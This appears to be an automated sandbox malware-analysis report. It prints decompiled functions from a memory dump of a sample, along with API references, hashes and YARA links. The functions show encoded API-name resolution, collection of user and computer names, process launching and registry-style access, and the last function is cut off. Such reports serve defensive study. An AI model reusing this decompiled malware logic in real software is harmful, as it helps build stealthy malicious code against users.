lstrlen.KERNEL32(?,00000004), ref: 0173823E
lstrlen.KERNEL32(?), ref: 01738247
lstrlen.KERNEL32(?), ref: 0173824E
lstrlenW.KERNEL32(?), ref: 01738255

Part of subcall function 01739039: HeapFree.KERNEL32(00000000,00000000,01737F18,00000000,?,?,00000000), ref: 01739045

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$CountFreeHeapTick
String ID:
API String ID: 2535036572-0
Opcode ID: aea3ba1c024ed581d45088e6654d10829b4e0474d846ac47dd39328a6292626a
Instruction ID: a9a6eddd8a8b9bbb90060cffc5bdf043fb9bd1eea3e49a17a04f695d051d4cd0
Opcode Fuzzy Hash: aea3ba1c024ed581d45088e6654d10829b4e0474d846ac47dd39328a6292626a
Instruction Fuzzy Hash: 3A415B76900119EFDF22AFA4CC49A9EFBB5EF88314F054051FD04A7212DB369A15EF90

Uniqueness

Uniqueness Score: -1.00%

Function 0173205E, Relevance: 10.6, APIs: 7, Instructions: 109
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0173205E(void* __eax, void* __ecx) {
				long _v8;
				char _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t58;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t1 = __eax + 0x14; // 0x74183966
				_t69 =  *_t1;
				_t36 = E0173692C(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16);
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				E0173A8D8( *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 8)), _v12);
				_t40 = _v12(_v12);
				_v8 = _t40;
				if(_t40 == 0 && ( *0x173d260 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t47 =  *0x173d27c; // 0x268a5a8
					_t18 = _t47 + 0x173e3e6; // 0x73797325
					_t68 = E017395B1(_t18);
					if(_t68 == 0) {
						_v8 = 8;
					} else {
						_t50 =  *0x173d27c; // 0x268a5a8
						_t19 = _t50 + 0x173e747; // 0x3dc8cef
						_t20 = _t50 + 0x173e0af; // 0x4e52454b
						_t71 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t71 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E017384D5();
							_t58 =  *_t71(0, _t68, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0);
							_push(1);
							E017384D5();
							if(_t58 == 0) {
								_v8 = GetLastError();
							} else {
								CloseHandle(_v28);
								CloseHandle(_v32);
							}
						}
						HeapFree( *0x173d238, 0, _t68);
					}
				}
				_t70 = _v16;
				 *((intOrPtr*)(_t70 + 0x18))( *((intOrPtr*)(_t70 + 0x1c))( *_t70));
				E01739039(_t70);
				goto L12;
			}

0x01732066
0x01732066
0x01732075
0x0173207e
0x01732081
0x0173218e
0x01732195
0x01732195
0x01732090
0x01732098
0x0173209d
0x017320a0
0x017320b5
0x017320bb
0x017320bc
0x017320bf
0x017320c5
0x017320c8
0x017320cd
0x017320d5
0x017320e1
0x017320e5
0x01732175
0x017320eb
0x017320eb
0x017320f0
0x017320f7
0x0173210b
0x0173210f
0x0173215e
0x01732111
0x01732112
0x01732119
0x01732132
0x01732134
0x01732138
0x0173213f
0x01732159
0x01732141
0x0173214a
0x0173214f
0x0173214f
0x0173213f
0x0173216d
0x0173216d
0x017320e5
0x0173217c
0x01732185
0x01732189
0x00000000

APIs

Part of subcall function 0173692C: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,0173207A,?,00000001,?,?,00000000,00000000), ref: 01736951
Part of subcall function 0173692C: GetProcAddress.KERNEL32(00000000,7243775A), ref: 01736973
Part of subcall function 0173692C: GetProcAddress.KERNEL32(00000000,614D775A), ref: 01736989
Part of subcall function 0173692C: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 0173699F
Part of subcall function 0173692C: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 017369B5
Part of subcall function 0173692C: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 017369CB

memset.NTDLL ref: 017320C8

Part of subcall function 017395B1: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,017323E9,63699BCE,01731354,73797325), ref: 017395C2
Part of subcall function 017395B1: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 017395DC

GetModuleHandleA.KERNEL32(4E52454B,03DC8CEF,73797325), ref: 017320FE
GetProcAddress.KERNEL32(00000000), ref: 01732105
HeapFree.KERNEL32(00000000,00000000), ref: 0173216D

Part of subcall function 017384D5: GetProcAddress.KERNEL32(36776F57,017321E5), ref: 017384F0

CloseHandle.KERNEL32(00000000,00000001), ref: 0173214A
CloseHandle.KERNEL32(?), ref: 0173214F
GetLastError.KERNEL32(00000001), ref: 01732153

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ErrorFreeHeapLastmemset
String ID:
API String ID: 3075724336-0
Opcode ID: 5712a6e5ba8b8d593c2ae7d155de9cf5f39d122e0933b80b7371073e5f2138e6
Instruction ID: 20d698b023054c2afaad90aa6ce99bd0433e50bee6c034281e86693da8ac1927
Opcode Fuzzy Hash: 5712a6e5ba8b8d593c2ae7d155de9cf5f39d122e0933b80b7371073e5f2138e6
Instruction Fuzzy Hash: 61316DB6800209BFDB21AFE8DD88D9FFBBCEB88354F104469F605A7116DB359D448B50

Uniqueness

Uniqueness Score: -1.00%

Function 01738307, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E01738307(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				intOrPtr* _t40;
				char* _t41;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0x173d27c; // 0x268a5a8
				_t1 = _t9 + 0x173e62c; // 0x253d7325
				_t36 = 0;
				_t28 = E01739401(__ecx, _t1);
				if(_t28 != 0) {
					_t40 = __imp__;
					_t13 =  *_t40(_t28);
					_v8 = _t13;
					_t41 = E01732049(_v8 +  *_t40(_a4) + 1);
					if(_t41 != 0) {
						strcpy(_t41, _t28);
						_pop(_t33);
						__imp__(_t41, _a4);
						_t36 = E01737225(_t34, _t41, _a8);
						E01739039(_t41);
						_t42 = E01738E82(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E01739039(_t36);
							_t36 = _t42;
						}
						_t43 = E0173788B(_t36, _t33);
						if(_t43 != 0) {
							E01739039(_t36);
							_t36 = _t43;
						}
					}
					E01739039(_t28);
				}
				return _t36;
			}

0x01738307
0x0173830a
0x0173830b
0x01738313
0x0173831a
0x01738321
0x01738325
0x0173832b
0x01738332
0x01738337
0x01738349
0x0173834d
0x01738351
0x01738357
0x0173835c
0x0173836c
0x0173836e
0x01738385
0x01738389
0x0173838c
0x01738391
0x01738391
0x0173839a
0x0173839e
0x017383a1
0x017383a6
0x017383a6
0x0173839e
0x017383a9
0x017383a9
0x017383b4

APIs

Part of subcall function 01739401: lstrlen.KERNEL32(00000000,00000000,00000000,74ECC740,?,?,?,01738321,253D7325,00000000,00000000,74ECC740,?,?,0173A428,?), ref: 01739468
Part of subcall function 01739401: sprintf.NTDLL ref: 01739489

lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,74ECC740,?,?,0173A428,?,03DC95B0), ref: 01738332
lstrlen.KERNEL32(?,?,?,0173A428,?,03DC95B0), ref: 0173833A

Part of subcall function 01732049: RtlAllocateHeap.NTDLL(00000000,00000000,01737E50), ref: 01732055

strcpy.NTDLL ref: 01738351
lstrcat.KERNEL32(00000000,?), ref: 0173835C

Part of subcall function 01737225: lstrlen.KERNEL32(?,?,?,?,00000001,00000000,00000000,?,0173836B,00000000,?,?,?,0173A428,?,03DC95B0), ref: 0173723C

Part of subcall function 01739039: HeapFree.KERNEL32(00000000,00000000,01737F18,00000000,?,?,00000000), ref: 01739045

StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,0173A428,?,03DC95B0), ref: 01738379

Part of subcall function 01738E82: lstrlen.KERNEL32(?,00000000,00000000,00000000,?,01738385,00000000,?,?,0173A428,?,03DC95B0), ref: 01738E8C
Part of subcall function 01738E82: _snprintf.NTDLL ref: 01738EEA

Strings

=, xrefs: 01738373

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
String ID: =
API String ID: 2864389247-1428090586
Opcode ID: 57dc6bf08b28f8344760e67483ce82c92749a08f99461c77f69c64d1165838c2
Instruction ID: 185743e838c2b03493c81fe57defb2b76b7b7ed3c69cc3a579cb0fb91915a0b5
Opcode Fuzzy Hash: 57dc6bf08b28f8344760e67483ce82c92749a08f99461c77f69c64d1165838c2
Instruction Fuzzy Hash: 55113673900226BB47227BB9DC88C6FFA9D9FD86653054116F604AB206CE3ACD0257E2

Uniqueness

Uniqueness Score: -1.00%

Function 01736CC3, Relevance: 9.1, APIs: 6, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 01736D1F
SysAllocString.OLEAUT32(0070006F), ref: 01736D33
SysAllocString.OLEAUT32(00000000), ref: 01736D45
SysFreeString.OLEAUT32(00000000), ref: 01736DA9
SysFreeString.OLEAUT32(00000000), ref: 01736DB8
SysFreeString.OLEAUT32(00000000), ref: 01736DC3

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 2c28b169db450d92da5924bf0ae89f34d145e23c2667693c11114221db25aed7
Instruction ID: 673c8161c79d7eb54747c65df3c14c05faf56c3fe57700ca389d974e8f65cb9a
Opcode Fuzzy Hash: 2c28b169db450d92da5924bf0ae89f34d145e23c2667693c11114221db25aed7
Instruction Fuzzy Hash: 78317E32D10609ABDF01DFBCC848A9EFBB6AF89311F144425FA10EB215DB719A46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0173692C, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0173692C(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E01732049(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0x173d27c; // 0x268a5a8
					_t1 = _t23 + 0x173e11a; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0x173d27c; // 0x268a5a8
					_t2 = _t26 + 0x173e769; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E01739039(_t54);
					} else {
						_t30 =  *0x173d27c; // 0x268a5a8
						_t5 = _t30 + 0x173e756; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0x173d27c; // 0x268a5a8
							_t7 = _t33 + 0x173e40b; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0x173d27c; // 0x268a5a8
								_t9 = _t36 + 0x173e4d2; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0x173d27c; // 0x268a5a8
									_t11 = _t39 + 0x173e779; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E0173727B(_t54, _a8);
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x0173693b
0x0173693f
0x01736a01
0x01736945
0x01736945
0x0173694a
0x0173695d
0x0173695f
0x01736964
0x0173696c
0x01736973
0x01736977
0x0173697a
0x017369f9
0x017369fa
0x0173697c
0x0173697c
0x01736981
0x01736989
0x0173698d
0x01736990
0x00000000
0x01736992
0x01736992
0x01736997
0x0173699f
0x017369a3
0x017369a6
0x00000000
0x017369a8
0x017369a8
0x017369ad
0x017369b5
0x017369b9
0x017369bc
0x00000000
0x017369be
0x017369be
0x017369c3
0x017369cb
0x017369cf
0x017369d2
0x00000000
0x017369d4
0x017369da
0x017369df
0x017369e6
0x017369ed
0x017369f0
0x00000000
0x017369f2
0x017369f5
0x017369f5
0x017369f0
0x017369d2
0x017369bc
0x017369a6
0x01736990
0x0173697a
0x01736a0f

APIs

Part of subcall function 01732049: RtlAllocateHeap.NTDLL(00000000,00000000,01737E50), ref: 01732055

GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,0173207A,?,00000001,?,?,00000000,00000000), ref: 01736951
GetProcAddress.KERNEL32(00000000,7243775A), ref: 01736973
GetProcAddress.KERNEL32(00000000,614D775A), ref: 01736989
GetProcAddress.KERNEL32(00000000,6E55775A), ref: 0173699F
GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 017369B5
GetProcAddress.KERNEL32(00000000,6C43775A), ref: 017369CB

Part of subcall function 0173727B: memset.NTDLL ref: 017372FA

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$AllocateHandleHeapModulememset
String ID:
API String ID: 1886625739-0
Opcode ID: c2627224db9f1d192b2852e0a1f0079b30a2dec7b75786f98f82fa278198a480
Instruction ID: c86ddbf3e08b674692aafbebef8e7553d117c1f6d834a5e0b06dcb13899a3eb1
Opcode Fuzzy Hash: c2627224db9f1d192b2852e0a1f0079b30a2dec7b75786f98f82fa278198a480
Instruction Fuzzy Hash: 602141B150120AEFDB70DFBDD848E5ABBECEB48255701812AF645CB206DB34EA058F60

Uniqueness

Uniqueness Score: -1.00%

Function 01737649, Relevance: 7.6, APIs: 5, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01737649() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t63;
				short* _t66;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_v12 = _v12 + _t43 + 2;
						_t63 = E01732049(_v12 + _t43 + 2 << 2);
						if(_t63 != 0) {
							_t47 = _v12;
							_t66 = _t63 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t66,  &_v8) == 0) {
								L7:
								E01739039(_t63);
							} else {
								 *((short*)(_t66 + _v8 * 2 - 2)) = 0x40;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t66[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0x173a33a
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t66, _t56, _t63, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t63[_t57] = 0;
										_v16 = _t63;
									}
								}
							}
						}
					}
				}
				return _v16;
			}

0x01737657
0x0173765a
0x0173765d
0x01737663
0x01737668
0x0173766e
0x01737676
0x01737679
0x0173767f
0x01737684
0x01737691
0x0173769e
0x017376a2
0x017376a4
0x017376a8
0x017376ab
0x017376bb
0x0173770d
0x0173770e
0x017376bd
0x017376c0
0x017376c7
0x017376ca
0x017376dd
0x00000000
0x017376df
0x017376e2
0x017376e7
0x017376f5
0x017376f8
0x01737700
0x01737703
0x00000000
0x01737705
0x01737705
0x01737708
0x01737708
0x01737703
0x017376dd
0x01737713
0x01737714
0x01737684
0x0173771a

APIs

GetUserNameW.ADVAPI32(00000000,0173A338), ref: 0173765D
GetComputerNameW.KERNEL32(00000000,0173A338), ref: 01737679

Part of subcall function 01732049: RtlAllocateHeap.NTDLL(00000000,00000000,01737E50), ref: 01732055

GetUserNameW.ADVAPI32(00000000,0173A338), ref: 017376B3
GetComputerNameW.KERNEL32(0173A338,?), ref: 017376D5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,0173A338,00000000,0173A33A,00000000,00000000,?,?,0173A338), ref: 017376F8

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
String ID:
API String ID: 3850880919-0
Opcode ID: c7b75264ce8958b77495480e07d9bae9a8f286bbbf03295f3ddb603c91245295
Instruction ID: f4a3b148aa68731e33ea9e2a32a56edac2a818c7931209577a982a80556f826e
Opcode Fuzzy Hash: c7b75264ce8958b77495480e07d9bae9a8f286bbbf03295f3ddb603c91245295
Instruction Fuzzy Hash: 2D21E8B6900209FFDB26DFE9D984CEEFBB8EE44240B5084AAE501E7205D7309B44DB60

Uniqueness

Uniqueness Score: -1.00%

Function 01731585, Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E01731585(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0 && E01737F27(__eax + 4, _t18, _a4, __eax, __eax + 4) == 0) {
					L9:
					return GetLastError();
				}
				_t10 = E0173A9AB(_t9, _t18, _t22, _a8);
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					_push(0);
					_push(0);
					_push(0xffffffff);
					_push(0);
					_push( *((intOrPtr*)(_t22 + 0x18)));
					if( *0x173d130() != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}

0x01731585
0x01731592
0x01731594
0x017315f7
0x00000000
0x017315f7
0x017315ac
0x017315b3
0x017315bf
0x017315c4
0x017315c6
0x017315c8
0x017315ca
0x017315cc
0x017315ce
0x017315da
0x017315ea
0x00000000
0x017315dc
0x017315dc
0x017315e3
0x017315f0
0x017315f0
0x017315f0
0x017315e3
0x017315da
0x017315f5
0x00000000
0x00000000
0x017315fb

APIs

ResetEvent.KERNEL32(?,00000008,?,?,00000102,017311DA,?,?,00000000,00000000), ref: 017315BF
ResetEvent.KERNEL32(?), ref: 017315C4
GetLastError.KERNEL32 ref: 017315DC
GetLastError.KERNEL32(?,?,00000102,017311DA,?,?,00000000,00000000), ref: 017315F7

Part of subcall function 01737F27: lstrlen.KERNEL32(00000000,00000008,?,75144D40,?,?,017315A4,?,?,?,?,00000102,017311DA,?,?,00000000), ref: 01737F33
Part of subcall function 01737F27: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,017315A4,?,?,?,?,00000102,017311DA,?), ref: 01737F91
Part of subcall function 01737F27: lstrcpy.KERNEL32(00000000,00000000), ref: 01737FA1

SetEvent.KERNEL32(?), ref: 017315EA

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$ErrorLastReset$lstrcpylstrlenmemcpy
String ID:
API String ID: 1449191863-0
Opcode ID: bb1686032b39fbf69c95ad3ef20835498abd17ab25551562d9e90c347b0620ec
Instruction ID: 200fbaccce4f6e0e769a547e4075300bd7ab10bec69a26bf7578d4990a6a301b
Opcode Fuzzy Hash: bb1686032b39fbf69c95ad3ef20835498abd17ab25551562d9e90c347b0620ec
Instruction Fuzzy Hash: 0501A231101201ABD7326B25DC44B1BFBA8FF85371F648A25F192E10E2D720D8159620

Uniqueness

Uniqueness Score: -1.00%

Function 01738F10, Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01738F10(intOrPtr _a4) {
				void* _t2;
				long _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t13;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0x173d26c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t13 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0x173d25c = _t4;
					_t6 = GetCurrentProcessId();
					 *0x173d258 = _t6;
					 *0x173d264 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0x173d254 = _t7;
					if(_t7 == 0) {
						 *0x173d254 =  *0x173d254 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 > 0) {
					goto L5;
				}
				_t13 = _t4 - _t4;
				goto L4;
			}

0x01738f18
0x01738f20
0x01738f25
0x00000000
0x01738f7a
0x01738f27
0x01738f2f
0x01738f37
0x01738f37
0x01738f77
0x00000000
0x01738f77
0x01738f39
0x01738f39
0x01738f3e
0x01738f50
0x01738f55
0x01738f5b
0x01738f63
0x01738f68
0x01738f6a
0x01738f6a
0x00000000
0x01738f71
0x01738f33
0x00000000
0x00000000
0x01738f35
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,01736A90,?,?,00000001,?,?,?,0173807D,?), ref: 01738F18
GetVersion.KERNEL32(?,00000001,?,?,?,0173807D,?), ref: 01738F27
GetCurrentProcessId.KERNEL32(?,00000001,?,?,?,0173807D,?), ref: 01738F3E
OpenProcess.KERNEL32(0010047A,00000000,00000000,?,00000001,?,?,?,0173807D,?), ref: 01738F5B
GetLastError.KERNEL32(?,00000001,?,?,?,0173807D,?), ref: 01738F7A

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process$CreateCurrentErrorEventLastOpenVersion
String ID:
API String ID: 2270775618-0
Opcode ID: 3e8f5aaa67d82ceac6a4782c5f84e0d8c3d8d3a3c349be7d21128a95a9e0826d
Instruction ID: 32233c455783db7372c34e18bc94085a4dee6dd5ae56134ee717de45f5c23104
Opcode Fuzzy Hash: 3e8f5aaa67d82ceac6a4782c5f84e0d8c3d8d3a3c349be7d21128a95a9e0826d
Instruction Fuzzy Hash: B2F062706883429BE7318FB9ED09B14FB62A7857B2F40C71AF642E61C9D7B18041CF16

Uniqueness

Uniqueness Score: -1.00%

Function 017317D5, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 172
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E017317D5(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t60;
				intOrPtr* _t61;
				intOrPtr _t65;
				char _t68;
				intOrPtr _t72;
				intOrPtr _t73;
				intOrPtr _t75;
				void* _t78;
				void* _t88;
				void* _t97;
				void* _t98;
				char _t104;
				signed int* _t106;
				intOrPtr* _t107;
				void* _t108;

				_t98 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t104 = _a16;
				if(_t104 == 0) {
					__imp__( &_v284,  *0x173d33c);
					_t97 = 0x80000002;
					L6:
					_t60 = E0173809F(0,  &_v284);
					_a8 = _t60;
					if(_t60 == 0) {
						_v8 = 8;
						L29:
						_t61 = _a20;
						if(_t61 != 0) {
							 *_t61 =  *_t61 + 1;
						}
						return _v8;
					}
					_t107 = _a24;
					if(E017388B7(_t98, _t103, _t107, _t97, _t60) != 0) {
						L27:
						E01739039(_a8);
						goto L29;
					}
					_t65 =  *0x173d27c; // 0x268a5a8
					_t16 = _t65 + 0x173e8fe; // 0x65696c43
					_t68 = E0173809F(0, _t16);
					_a24 = _t68;
					if(_t68 == 0) {
						L14:
						_t29 = _t107 + 0x14; // 0x102
						_t33 = _t107 + 0x10; // 0x3d0173c0
						if(E0173A635(_t103,  *_t33, _t97, _a8,  *0x173d334,  *((intOrPtr*)( *_t29 + 0x28))) == 0) {
							_t72 =  *0x173d27c; // 0x268a5a8
							if(_t104 == 0) {
								_t35 = _t72 + 0x173ea5f; // 0x4d4c4b48
								_t73 = _t35;
							} else {
								_t34 = _t72 + 0x173e89f; // 0x55434b48
								_t73 = _t34;
							}
							if(E0173816C(_t73,  *0x173d334,  *0x173d338,  &_a24,  &_a16) == 0) {
								if(_t104 == 0) {
									_t75 =  *0x173d27c; // 0x268a5a8
									_t44 = _t75 + 0x173e871; // 0x74666f53
									_t78 = E0173809F(0, _t44);
									_t105 = _t78;
									if(_t78 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t107 + 0x10; // 0x3d0173c0
										E01732659( *_t47, _t97, _a8,  *0x173d338, _a24);
										_t49 = _t107 + 0x10; // 0x3d0173c0
										E01732659( *_t49, _t97, _t105,  *0x173d330, _a16);
										E01739039(_t105);
									}
								} else {
									_t40 = _t107 + 0x10; // 0x3d0173c0
									E01732659( *_t40, _t97, _a8,  *0x173d338, _a24);
									_t43 = _t107 + 0x10; // 0x3d0173c0
									E01732659( *_t43, _t97, _a8,  *0x173d330, _a16);
								}
								if( *_t107 != 0) {
									E01739039(_a24);
								} else {
									 *_t107 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t107 + 0x10; // 0x3d0173c0
					if(E01736BFA( *_t21, _t97, _a8, _t68,  &_v16,  &_v12) == 0) {
						_t106 = _v16;
						_t88 = 0x28;
						if(_v12 == _t88) {
							 *_t106 =  *_t106 & 0x00000000;
							_t26 = _t107 + 0x10; // 0x3d0173c0
							E0173A635(_t103,  *_t26, _t97, _a8, _a24, _t106);
						}
						E01739039(_t106);
						_t104 = _a16;
					}
